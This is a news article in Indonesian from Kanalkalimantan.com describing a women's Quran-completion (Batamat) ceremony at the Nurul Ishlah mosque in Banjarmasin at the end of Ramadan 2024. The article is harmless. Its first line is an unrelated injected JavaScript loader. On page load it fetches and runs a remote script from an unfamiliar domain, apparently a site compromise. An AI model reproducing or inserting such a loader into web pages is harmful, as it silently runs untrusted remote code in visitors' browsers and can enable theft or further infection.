(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kota BanjarmasinRELIGI

Batamat Al Qur’an Ibu-ibu Majelis Taklim Masjid Nurul Ishlah Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di penghujung Ramadan 1445 hijriyah, lantunan Al Qur’an menggema di corong Masjid Nurul Ishlah Banjarmasin, Sabtu (6/4/2024) pagi.

Matahari sepenggelahan naik, lantunan Surat Ad Dhuha membuka kegiatan. Surat per surat dalam juz 30 Al Qur’an dibaca secara bergantian, setiap ayat terkahir dibaca bersama-sama, dan setiap akhir surat serentak membaca tasbih.

Ya, masjid yang terletak di Komplek Mandiri Lestari, Jalan Sultan Adam, Kecamatan Banjarmasin Utara, Kota Banjarmasin itu sedang melaksanakan kegiatan Khataman atau Batamat Al Qur’an. Khataman dilaksanakan oleh ibu-ibu anggota majelis taklim Masjid Nurul Ishlah.

Di tengah lingkaran jemaah, tersaji berbagai macam kue khas Banjar. Ada juga kembang yang di ujungnya diikat uang kertas pecahan Rp5 ribu, Rp50 ribu hingga Rp100 ribu.

Tak ketinggalan, payung kembang hingga kue ketan dan telur bebek yang selalu ada dalam sebuah acara Batamat Al Qur’an tradisi Urang Banjar.

Perwakilan majelis taklim ibu-ibu Masjid Nurul Ishlah, Hj Heni mengatakan, khataman Al Qur’an digelar rutin setiap tahun ketika akhir bulan Ramadan.

Khataman atau Batamat Al Qur’an diselenggarakan setelah mereka menyelesaikan pembacaan 30 juz Al Qur’an yang dibaca bertahap selama bulan Ramadan.

“Bahkan kita bulan Ramadan ini sudah khatam Al Qur’an sebanyak dua kali,” katanya.

Di Masjid Nurul Ishlah sendiri kata Heni pengajian Al Qur’an selama bulan Ramadan sudah dilaksanakan sekitar 11 tahun berturut-turut.

Selain tadarus Al Qur’an, pengajian yang digelari dua kali seminggu selama Ramadan itu turut dirangkai dengan belajar tajwid bersama.

Sementara salah seorang tetuha di majelis taklim Masjid Nurul Ishlah, Hj Normiati Zakaria mengungkapkan rasa syukurnya masih dapat melaksanakan pengajian rutin yang telah berjalan lama tersebut.

Dirinya mengatakan, majelis taklim ibu-ibu Masjid Nurul Ishlah terbuka bagi siapa saja yang ingin bergabung tanpa memandang latar belakang atau tempat tinggal.

“Kita memberikan kesempatan juga kepada ibu-ibu yang lain untuk bergabung membaca dan mempelajari Al Qur’an bersama-sama di sini,” katanya.

Normiati berharap, khamatan Al Qur’an yang digelar dapat menjadi pemicu semangat bagi ibu-ibu majelis taklim Mesjid Nurul Ishlah untuk terus rajin membaca Al Qur’an baik di saat momentum bulan Ramadan ataupun di luar Ramadan. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie